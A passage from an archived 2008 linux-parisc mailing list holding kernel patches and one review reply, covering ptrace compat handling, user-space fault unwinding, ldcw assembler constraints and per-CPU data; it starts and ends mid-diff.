-			set_tsk_thread_flag(child, TIF_SYSCALL_TRACE);
-		} else {
-			clear_tsk_thread_flag(child, TIF_SYSCALL_TRACE);
-		}		
-		child->exit_code = data;
-		goto out_wake_notrap;
-
-	case PTRACE_KILL:
-		/*
-		 * make the child exit.  Best I can do is send it a
-		 * sigkill.  perhaps it should be put in the status
-		 * that it wants to exit.
-		 */
-		ret = 0;
-		DBG("sys_ptrace(KILL)\n");
-		if (child->exit_state == EXIT_ZOMBIE)	/* already dead */
-			goto out_tsk;
-		child->exit_code = SIGKILL;
-		goto out_wake_notrap;
-
-	case PTRACE_SINGLEBLOCK:
-		DBG("sys_ptrace(SINGLEBLOCK)\n");
-		ret = -EIO;
-		if (!valid_signal(data))
-			goto out_tsk;
-		clear_tsk_thread_flag(child, TIF_SYSCALL_TRACE);
-		child->ptrace &= ~PT_SINGLESTEP;
-		child->ptrace |= PT_BLOCKSTEP;
-		child->exit_code = data;
-
-		/* Enable taken branch trap. */
-		pa_psw(child)->r = 0;
-		pa_psw(child)->t = 1;
-		pa_psw(child)->h = 0;
-		pa_psw(child)->l = 0;
-		goto out_wake;
-
-	case PTRACE_SINGLESTEP:
-		DBG("sys_ptrace(SINGLESTEP)\n");
-		ret = -EIO;
-		if (!valid_signal(data))
-			goto out_tsk;
-
-		clear_tsk_thread_flag(child, TIF_SYSCALL_TRACE);
-		child->ptrace &= ~PT_BLOCKSTEP;
-		child->ptrace |= PT_SINGLESTEP;
-		child->exit_code = data;
-
-		if (pa_psw(child)->n) {
-			struct siginfo si;
-
-			/* Nullified, just crank over the queue. */
-			task_regs(child)->iaoq[0] = task_regs(child)->iaoq[1];
-			task_regs(child)->iasq[0] = task_regs(child)->iasq[1];
-			task_regs(child)->iaoq[1] = task_regs(child)->iaoq[0] + 4;
-			pa_psw(child)->n = 0;
-			pa_psw(child)->x = 0;
-			pa_psw(child)->y = 0;
-			pa_psw(child)->z = 0;
-			pa_psw(child)->b = 0;
-			ptrace_disable(child);
-			/* Don't wake up the child, but let the
-			   parent know something happened. */
-			si.si_code = TRAP_TRACE;
-			si.si_addr = (void __user *) (task_regs(child)->iaoq[0] & ~3);
-			si.si_signo = SIGTRAP;
-			si.si_errno = 0;
-			force_sig_info(SIGTRAP, &si, child);
-			//notify_parent(child, SIGCHLD);
-			//ret = 0;
-			goto out_wake;
-		}
-
-		/* Enable recovery counter traps.  The recovery counter
-		 * itself will be set to zero on a task switch.  If the
-		 * task is suspended on a syscall then the syscall return
-		 * path will overwrite the recovery counter with a suitable
-		 * value such that it traps once back in user space.  We
-		 * disable interrupts in the childs PSW here also, to avoid
-		 * interrupts while the recovery counter is decrementing.
-		 */
-		pa_psw(child)->r = 1;
-		pa_psw(child)->t = 0;
-		pa_psw(child)->h = 0;
-		pa_psw(child)->l = 0;
-		/* give it a chance to run. */
-		goto out_wake;
-
-	case PTRACE_GETEVENTMSG:
-                ret = put_user(child->ptrace_message, (unsigned int __user *) data);
-		goto out_tsk;
+		break;
 
 	default:
-		ret = ptrace_request(child, request, addr, data);
-		goto out_tsk;
+		ret = compat_ptrace_request(child, request, addr, data);
+		break;
 	}
 
-out_wake_notrap:
-	ptrace_disable(child);
-out_wake:
-	wake_up_process(child);
-	ret = 0;
-out_tsk:
-	DBG("arch_ptrace(%ld, %d, %lx, %lx) returning %ld\n",
-		request, pid, oaddr, odata, ret);
 	return ret;
 }
+#endif
+
 
 void syscall_trace(void)
 {
diff --git a/arch/parisc/kernel/syscall_table.S b/arch/parisc/kernel/syscall_table.S
index 6b5ac38..e719f27 100644
--- a/arch/parisc/kernel/syscall_table.S
+++ b/arch/parisc/kernel/syscall_table.S
@@ -87,7 +87,7 @@
 	ENTRY_SAME(setuid)
 	ENTRY_SAME(getuid)
 	ENTRY_COMP(stime)		/* 25 */
-	ENTRY_SAME(ptrace)
+	ENTRY_COMP(ptrace)
 	ENTRY_SAME(alarm)
 	/* see stat comment */
 	ENTRY_COMP(newfstat)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] fix crash when trying to unwind user space
Date: Sun, 24 Aug 2008 20:45:04 +0200
Lines: 49
Approved: news@gmane.org
Message-ID: <200808242045.04499.deller@gmx.de>
References: <200808242026.06295.deller@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1219603518 28222 80.91.229.12 (24 Aug 2008 18:45:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 24 Aug 2008 18:45:18 +0000 (UTC)
To: linux-parisc <linux-parisc@vger.kernel.org>,
	Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Aug 24 20:46:11 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KXKbJ-0000Bu-Nx
	for glpp-linux-parisc@gmane.org; Sun, 24 Aug 2008 20:46:10 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752599AbYHXSpJ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 24 Aug 2008 14:45:09 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752834AbYHXSpI
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 24 Aug 2008 14:45:08 -0400
Original-Received: from mail.gmx.net ([213.165.64.20]:38722 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1752599AbYHXSpH (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 24 Aug 2008 14:45:07 -0400
Original-Received: (qmail invoked by alias); 24 Aug 2008 18:45:06 -0000
Original-Received: from mnhm-590f77df.pool.einsundeins.de (EHLO p100.box) [89.15.119.223]
  by mail.gmx.net (mp045) with SMTP; 24 Aug 2008 20:45:06 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1+B15dsOZ+Bm4ZTnWCx4m2dR781PEudn4z3b6fBkp
	mf9eG496zfMgzO
User-Agent: KMail/1.9.7
In-Reply-To: <200808242026.06295.deller@gmx.de>
X-Face: &[jmHH-Dw>Aj):"[/t-VasJu+(5eP`/LEckV7V"JV,!nBy[6(/?#8M>x`5xzg/7:FkM.l@=?utf-8?q?=0A=0913?=<&9'nfV3"OkD~P)@j{P2=(uB7J(){:CcrM2jZeA+IBq?FUTp3c8Y{t+k<95mZf~[v"=?utf-8?q?=27=3A=0A=09t?="f6wKtHUPFB&/]Z5^?9~IQs=16R;Pg"NS9JD=DK!ft&4b@=?utf-8?q?S=7E=26q/MfI3=3BqWqlg7Q1=3D=3DjS4=0A=099V5OJkm=24WQ=5Bdc=5E=5FY?=
 =?utf-8?q?=27=5DDvibvMjizUZ=5D+=27Jd4UnM?=><yrT}Rw(
Content-Disposition: inline
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.47
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:660
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/660>

Fix kernel to not to try to unwind functions when crash
happens in userspace.
Without this patch kernel may needlessly crash for userspace faults.

Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>
Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/kernel/traps.c b/arch/parisc/kernel/traps.c
index 675f1d0..12276c8 100644
--- a/arch/parisc/kernel/traps.c
+++ b/arch/parisc/kernel/traps.c
@@ -121,18 +121,19 @@ static void print_fr(char *level, struct pt_regs *regs)
 
 void show_regs(struct pt_regs *regs)
 {
-	int i;
+	int i, user;
 	char *level;
 	unsigned long cr30, cr31;
 
-	level = user_mode(regs) ? KERN_DEBUG : KERN_CRIT;
+	user = user_mode(regs);
+	level = user ? KERN_DEBUG : KERN_CRIT;
 
 	print_gr(level, regs);
 
 	for (i = 0; i < 8; i += 4)
 		PRINTREGS(level, regs->sr, "sr", RFMT, i);
 
-	if (user_mode(regs))
+	if (user)
 		print_fr(level, regs);
 
 	cr30 = mfctl(30);
@@ -152,7 +153,8 @@ void show_regs(struct pt_regs *regs)
 	printk(level);
 	print_symbol(" RP(r2): %s\n", regs->gr[2]);
 
-	parisc_show_stack(current, NULL, regs);
+	if (!user)
+		parisc_show_stack(current, NULL, regs);
 }
 
 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] drop superfluous .align 16
Date: Sun, 24 Aug 2008 20:51:11 +0200
Lines: 22
Approved: news@gmane.org
Message-ID: <200808242051.12202.deller@gmx.de>
References: <200808242026.06295.deller@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1219603884 29322 80.91.229.12 (24 Aug 2008 18:51:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 24 Aug 2008 18:51:24 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>
To: linux-parisc <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Aug 24 20:52:17 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KXKhE-0001gk-Mr
	for glpp-linux-parisc@gmane.org; Sun, 24 Aug 2008 20:52:17 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752409AbYHXSvQ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 24 Aug 2008 14:51:16 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752709AbYHXSvQ
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 24 Aug 2008 14:51:16 -0400
Original-Received: from mail.gmx.net ([213.165.64.20]:40300 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1752409AbYHXSvP (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 24 Aug 2008 14:51:15 -0400
Original-Received: (qmail invoked by alias); 24 Aug 2008 18:51:13 -0000
Original-Received: from mnhm-590f77df.pool.einsundeins.de (EHLO p100.box) [89.15.119.223]
  by mail.gmx.net (mp025) with SMTP; 24 Aug 2008 20:51:13 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1/DR0QhtCbDz2zo8h1p42ECK2rawlEQeXwKuZzszV
	jpY/yi2AV/3D2u
User-Agent: KMail/1.9.7
In-Reply-To: <200808242026.06295.deller@gmx.de>
X-Face: &[jmHH-Dw>Aj):"[/t-VasJu+(5eP`/LEckV7V"JV,!nBy[6(/?#8M>x`5xzg/7:FkM.l@=?utf-8?q?=0A=0913?=<&9'nfV3"OkD~P)@j{P2=(uB7J(){:CcrM2jZeA+IBq?FUTp3c8Y{t+k<95mZf~[v"=?utf-8?q?=27=3A=0A=09t?="f6wKtHUPFB&/]Z5^?9~IQs=16R;Pg"NS9JD=DK!ft&4b@=?utf-8?q?S=7E=26q/MfI3=3BqWqlg7Q1=3D=3DjS4=0A=099V5OJkm=24WQ=5Bdc=5E=5FY?=
 =?utf-8?q?=27=5DDvibvMjizUZ=5D+=27Jd4UnM?=><yrT}Rw(
Content-Disposition: inline
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.6
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:661
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/661>

This .align 16 is misplaced and should be in front of the ENTRY(lws_lock_start).
Works because of pure luck since we have a .align PAGE_SIZE before it instead.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/kernel/syscall.S b/arch/parisc/kernel/syscall.S
index 69b6eeb..c6ff81f 100644
--- a/arch/parisc/kernel/syscall.S
+++ b/arch/parisc/kernel/syscall.S
@@ -640,7 +640,6 @@ END(sys_call_table64)
 	.align	PAGE_SIZE
 ENTRY(lws_lock_start)
 	/* lws locks */
-	.align 16
 	.rept 16
 	/* Keep locks aligned at 16-bytes */
 	.word 1
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] drop superfluous .align 16
Date: Sun, 24 Aug 2008 13:57:38 -0500
Lines: 32
Approved: news@gmane.org
Message-ID: <1219604258.4550.3.camel@localhost.localdomain>
References: <200808242026.06295.deller@gmx.de>
	 <200808242051.12202.deller@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1219604271 30382 80.91.229.12 (24 Aug 2008 18:57:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 24 Aug 2008 18:57:51 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>,
	Kyle McMartin <kyle@mcmartin.ca>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Aug 24 20:58:44 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KXKnT-0003IL-0i
	for glpp-linux-parisc@gmane.org; Sun, 24 Aug 2008 20:58:43 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753056AbYHXS5l (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 24 Aug 2008 14:57:41 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753061AbYHXS5l
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 24 Aug 2008 14:57:41 -0400
Original-Received: from accolon.hansenpartnership.com ([76.243.235.52]:35908 "EHLO
	accolon.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1753044AbYHXS5k (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 24 Aug 2008 14:57:40 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id DCF438036;
	Sun, 24 Aug 2008 13:57:38 -0500 (CDT)
Original-Received: from accolon.hansenpartnership.com ([127.0.0.1])
	by localhost (redscar.int.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id PQdkiKMtLEZD; Sun, 24 Aug 2008 13:57:37 -0500 (CDT)
Original-Received: from [153.66.150.222] (mulgrave-w.int.hansenpartnership.com [153.66.150.222])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id 95AE67F62;
	Sun, 24 Aug 2008 13:57:37 -0500 (CDT)
In-Reply-To: <200808242051.12202.deller@gmx.de>
X-Mailer: Evolution 2.22.3.1 (2.22.3.1-1.fc9) 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:662
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/662>

On Sun, 2008-08-24 at 20:51 +0200, Helge Deller wrote:
> This .align 16 is misplaced and should be in front of the ENTRY(lws_lock_start).
> Works because of pure luck since we have a .align PAGE_SIZE before it instead.
> 
> Signed-off-by: Helge Deller <deller@gmx.de>
> 
> diff --git a/arch/parisc/kernel/syscall.S b/arch/parisc/kernel/syscall.S
> index 69b6eeb..c6ff81f 100644
> --- a/arch/parisc/kernel/syscall.S
> +++ b/arch/parisc/kernel/syscall.S
> @@ -640,7 +640,6 @@ END(sys_call_table64)
>  	.align	PAGE_SIZE
>  ENTRY(lws_lock_start)
>  	/* lws locks */
> -	.align 16
>  	.rept 16
>  	/* Keep locks aligned at 16-bytes */
>  	.word 1

I think I'd really rather keep this.  It may be technically superfluous
because of the .align PAGE_SIZE above it, but that belongs to the
syscall table.  If anyone ever moved this section in head.S, the align
16 ensures nothing goes wrong.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] ldcw inline assembler patch
Date: Sun, 24 Aug 2008 21:04:26 +0200
Lines: 37
Approved: news@gmane.org
Message-ID: <200808242104.27135.deller@gmx.de>
References: <200808242026.06295.deller@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1219604700 31739 80.91.229.12 (24 Aug 2008 19:05:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 24 Aug 2008 19:05:00 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>
To: linux-parisc <linux-parisc@vger.kernel.org>,
	Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Aug 24 21:05:53 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KXKuM-0004jK-1m
	for glpp-linux-parisc@gmane.org; Sun, 24 Aug 2008 21:05:52 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753019AbYHXTEb (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 24 Aug 2008 15:04:31 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753147AbYHXTEb
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 24 Aug 2008 15:04:31 -0400
Original-Received: from mail.gmx.net ([213.165.64.20]:57887 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1753019AbYHXTEa (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 24 Aug 2008 15:04:30 -0400
Original-Received: (qmail invoked by alias); 24 Aug 2008 19:04:28 -0000
Original-Received: from mnhm-590f77df.pool.einsundeins.de (EHLO p100.box) [89.15.119.223]
  by mail.gmx.net (mp001) with SMTP; 24 Aug 2008 21:04:28 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX188GpBOyyw81tiYGDDHYBgEqxy41wgkVtcCm7jDs4
	TM1CIRGbkeIuf5
User-Agent: KMail/1.9.7
In-Reply-To: <200808242026.06295.deller@gmx.de>
X-Face: &[jmHH-Dw>Aj):"[/t-VasJu+(5eP`/LEckV7V"JV,!nBy[6(/?#8M>x`5xzg/7:FkM.l@=?utf-8?q?=0A=0913?=<&9'nfV3"OkD~P)@j{P2=(uB7J(){:CcrM2jZeA+IBq?FUTp3c8Y{t+k<95mZf~[v"=?utf-8?q?=27=3A=0A=09t?="f6wKtHUPFB&/]Z5^?9~IQs=16R;Pg"NS9JD=DK!ft&4b@=?utf-8?q?S=7E=26q/MfI3=3BqWqlg7Q1=3D=3DjS4=0A=099V5OJkm=24WQ=5Bdc=5E=5FY?=
 =?utf-8?q?=27=5DDvibvMjizUZ=5D+=27Jd4UnM?=><yrT}Rw(
Content-Disposition: inline
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.53
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:663
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/663>

There are two reasons to expose the memory *a in the asm:

1) To prevent the compiler from discarding a preceeding write to *a, and
2) to prevent it from caching *a in a register over the asm.

The change has had a few days testing with a SMP build of 2.6.22.19
running on a rp3440.

This patch is about the correctness of the __ldcw() macro itself. 
The use of the macro should be confined to small inline functions 
to try to limit the effect of clobbering memory on GCC's optimization 
of loads and stores.

Signed-off-by: Dave Anglin <dave.anglin@nrc-cnrc.gc.ca>
Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/include/asm/system.h b/arch/parisc/include/asm/system.h
index ee80c92..d91357b 100644
--- a/arch/parisc/include/asm/system.h
+++ b/arch/parisc/include/asm/system.h
@@ -168,8 +168,8 @@ static inline void set_eiem(unsigned long val)
 /* LDCW, the only atomic read-write operation PA-RISC has. *sigh*.  */
 #define __ldcw(a) ({						\
 	unsigned __ret;						\
-	__asm__ __volatile__(__LDCW " 0(%1),%0"			\
-		: "=r" (__ret) : "r" (a));			\
+	__asm__ __volatile__(__LDCW " 0(%2),%0"			\
+		: "=r" (__ret), "+m" (*(a)) : "r" (a));		\
 	__ret;							\
 })
 
	
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] Change cpu_data[] and cpu_devices[] from array sized by NR_CPUS to per_cpu variables
Date: Sun, 24 Aug 2008 21:21:49 +0200
Lines: 397
Approved: news@gmane.org
Message-ID: <200808242121.49849.deller@gmx.de>
References: <200808242026.06295.deller@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1219605732 3018 80.91.229.12 (24 Aug 2008 19:22:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 24 Aug 2008 19:22:12 +0000 (UTC)
To: linux-parisc <linux-parisc@vger.kernel.org>,
	Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Aug 24 21:22:57 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KXLAt-0001Jo-1b
	for glpp-linux-parisc@gmane.org; Sun, 24 Aug 2008 21:22:55 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752599AbYHXTVz (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 24 Aug 2008 15:21:55 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753143AbYHXTVz
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 24 Aug 2008 15:21:55 -0400
Original-Received: from mail.gmx.net ([213.165.64.20]:40404 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1752599AbYHXTVy (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 24 Aug 2008 15:21:54 -0400
Original-Received: (qmail invoked by alias); 24 Aug 2008 19:21:52 -0000
Original-Received: from mnhm-590f77df.pool.einsundeins.de (EHLO p100.box) [89.15.119.223]
  by mail.gmx.net (mp042) with SMTP; 24 Aug 2008 21:21:52 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX18Bkxwa774B1+8uyc+mjmukkjwo5V05l+98yK9zTd
	FWm1BJRK3pvuv2
User-Agent: KMail/1.9.7
In-Reply-To: <200808242026.06295.deller@gmx.de>
X-Face: &[jmHH-Dw>Aj):"[/t-VasJu+(5eP`/LEckV7V"JV,!nBy[6(/?#8M>x`5xzg/7:FkM.l@=?utf-8?q?=0A=0913?=<&9'nfV3"OkD~P)@j{P2=(uB7J(){:CcrM2jZeA+IBq?FUTp3c8Y{t+k<95mZf~[v"=?utf-8?q?=27=3A=0A=09t?="f6wKtHUPFB&/]Z5^?9~IQs=16R;Pg"NS9JD=DK!ft&4b@=?utf-8?q?S=7E=26q/MfI3=3BqWqlg7Q1=3D=3DjS4=0A=099V5OJkm=24WQ=5Bdc=5E=5FY?=
 =?utf-8?q?=27=5DDvibvMjizUZ=5D+=27Jd4UnM?=><yrT}Rw(
Content-Disposition: inline
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.39
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:664
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/664>

!! Probably needs some testing on a SMP box before it can be applied !!

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/include/asm/processor.h b/arch/parisc/include/asm/processor.h
index 3c9d348..9d64df8 100644
--- a/arch/parisc/include/asm/processor.h
+++ b/arch/parisc/include/asm/processor.h
@@ -17,6 +17,7 @@
 #include <asm/ptrace.h>
 #include <asm/types.h>
 #include <asm/system.h>
+#include <asm/percpu.h>
 #endif /* __ASSEMBLY__ */
 
 #define KERNEL_STACK_SIZE 	(4*PAGE_SIZE)
@@ -109,8 +110,7 @@ struct cpuinfo_parisc {
 };
 
 extern struct system_cpuinfo_parisc boot_cpu_data;
-extern struct cpuinfo_parisc cpu_data[NR_CPUS];
-#define current_cpu_data cpu_data[smp_processor_id()]
+DECLARE_PER_CPU(struct cpuinfo_parisc, cpu_data);
 
 #define CPU_HVERSION ((boot_cpu_data.hversion >> 4) & 0x0FFF)
 
diff --git a/arch/parisc/kernel/irq.c b/arch/parisc/kernel/irq.c
index 23ef950..3ee6b33 100644
--- a/arch/parisc/kernel/irq.c
+++ b/arch/parisc/kernel/irq.c
@@ -298,7 +298,7 @@ unsigned long txn_affinity_addr(unsigned int irq, int cpu)
 	irq_desc[irq].affinity = cpumask_of_cpu(cpu);
 #endif
 
-	return cpu_data[cpu].txn_addr;
+	return per_cpu(cpu_data, cpu).txn_addr;
 }
 
 
@@ -309,8 +309,9 @@ unsigned long txn_alloc_addr(unsigned int virt_irq)
 	next_cpu++; /* assign to "next" CPU we want this bugger on */
 
 	/* validate entry */
-	while ((next_cpu < NR_CPUS) && (!cpu_data[next_cpu].txn_addr || 
-		!cpu_online(next_cpu)))
+	while ((next_cpu < NR_CPUS) &&
+		(!per_cpu(cpu_data, next_cpu).txn_addr ||
+		 !cpu_online(next_cpu)))
 		next_cpu++;
 
 	if (next_cpu >= NR_CPUS) 
@@ -359,7 +360,7 @@ void do_cpu_irq_mask(struct pt_regs *regs)
 		printk(KERN_DEBUG "redirecting irq %d from CPU %d to %d\n",
 		       irq, smp_processor_id(), cpu);
 		gsc_writel(irq + CPU_IRQ_BASE,
-			   cpu_data[cpu].hpa);
+			   per_cpu(cpu_data, cpu).hpa);
 		goto set_out;
 	}
 #endif
@@ -421,5 +422,5 @@ void __init init_IRQ(void)
 
 void ack_bad_irq(unsigned int irq)
 {
-	printk("unexpected IRQ %d\n", irq);
+	printk(KERN_WARNING "unexpected IRQ %d\n", irq);
 }
diff --git a/arch/parisc/kernel/processor.c b/arch/parisc/kernel/processor.c
index 370086f..678a031 100644
--- a/arch/parisc/kernel/processor.c
+++ b/arch/parisc/kernel/processor.c
@@ -3,7 +3,7 @@
  *    Initial setup-routines for HP 9000 based hardware.
  *
  *    Copyright (C) 1991, 1992, 1995  Linus Torvalds
- *    Modifications for PA-RISC (C) 1999 Helge Deller <deller@gmx.de>
+ *    Modifications for PA-RISC (C) 1999-2008 Helge Deller <deller@gmx.de>
  *    Modifications copyright 1999 SuSE GmbH (Philipp Rumpf)
  *    Modifications copyright 2000 Martin K. Petersen <mkp@mkp.net>
  *    Modifications copyright 2000 Philipp Rumpf <prumpf@tux.org>
@@ -46,7 +46,7 @@
